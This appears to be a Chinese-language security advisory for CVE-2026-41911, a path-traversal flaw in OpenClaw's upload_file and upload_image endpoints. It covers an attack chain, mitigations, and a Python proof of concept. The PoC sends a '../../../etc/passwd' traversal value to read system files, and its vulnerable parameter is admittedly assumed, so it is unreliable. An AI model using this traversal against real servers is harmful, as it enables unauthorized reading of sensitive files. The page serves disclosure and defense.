IPBUF安全漏洞报告
English
CVE-2026-41911 CVSS 6.5 中危

CVE-2026-41911 OpenClaw文件系统策略绕过漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41911
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

路径遍历文件读取OpenClawCVE-2026-41911

漏洞概述

OpenClaw 2026.4.8之前的版本在处理docx文件上传时存在严重的文件系统策略绕过漏洞。由于系统未能正确限制文件访问路径,攻击者可利用upload_file和upload_image接口,绕过预期的工作区限制,读取服务器上的敏感本地文件。该漏洞需要低权限用户认证,且无需用户交互即可利用,存在较高的信息泄露风险。

技术细节

该漏洞源于OpenClaw在处理文档上传(特别是docx格式)时,未能严格验证文件路径,导致本应限制在特定工作区内的文件系统策略被绕过。应用程序在设计上实施了沙箱机制,但在处理upload_file和upload_image端点时,攻击者可以通过构造特殊的请求参数或文件内容,利用目录遍历技术(如路径拼接或../序列)突破边界。攻击者首先需要拥有一个低权限账户,随后向受影响端点发送恶意请求。应用程序在解析文件时未对内部引用的路径进行有效清洗,从而允许读取工作区之外的任意文件。由于CVSS向量显示机密性影响为高,攻击者可借此获取服务器上的配置文件、源代码或其他敏感数据。此漏洞不涉及完整性或可用性破坏,主要风险在于信息泄露。

攻击链分析

STEP 1
侦察
识别目标OpenClaw版本,确认其低于2026.4.8。
STEP 2
获取访问权限
攻击者注册或获取一个低权限用户账户。
STEP 3
漏洞利用
构造包含路径遍历序列(如../)的恶意docx文件或请求参数,发送至upload_file或upload_image接口。
STEP 4
数据窃取
服务器处理上传请求时解析恶意路径,读取工作区之外的敏感文件并返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_openclaw(target, username, password): """ PoC for CVE-2026-41911: OpenClaw Filesystem Policy Bypass Attempts to read a file outside the workspace via docx upload. """ session = requests.Session() # Step 1: Authenticate as a low-privilege user login_url = f"{target}/login" creds = {"username": username, "password": password} session.post(login_url, data=creds) # Step 2: Prepare the exploit payload # The vulnerability lies in the 'docx upload processing'. # We attempt to upload a file while manipulating the path to escape the workspace. upload_url = f"{target}/api/upload_file" # In a real scenario, the docx might contain malicious XML relationships pointing to external files, # or the endpoint might accept a path parameter vulnerable to traversal. # This PoC simulates sending a request with a traversal sequence in the path. payload_filename = "../../../etc/passwd" # Create a dummy docx file (just a placeholder) files = { 'file': ('malicious.docx', b'PK[...]', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document') } data = { 'destination_path': payload_filename # Vulnerable parameter assumption } # Step 3: Send the request response = session.post(upload_url, files=files, data=data) # Step 4: Verify leakage if response.status_code == 200 and "root:" in response.text: return True, "Successfully leaked /etc/passwd" return False, "Exploit failed" # Usage example # exploit_openclaw("http://target.com", "user", "pass")

影响范围

OpenClaw < 2026.4.8

防御指南

临时缓解措施
如果无法立即升级,建议临时禁用受影响的上传接口(upload_file和upload_image),或在WAF中部署规则拦截包含路径遍历字符的请求,同时严格限制低权限用户的文件操作权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表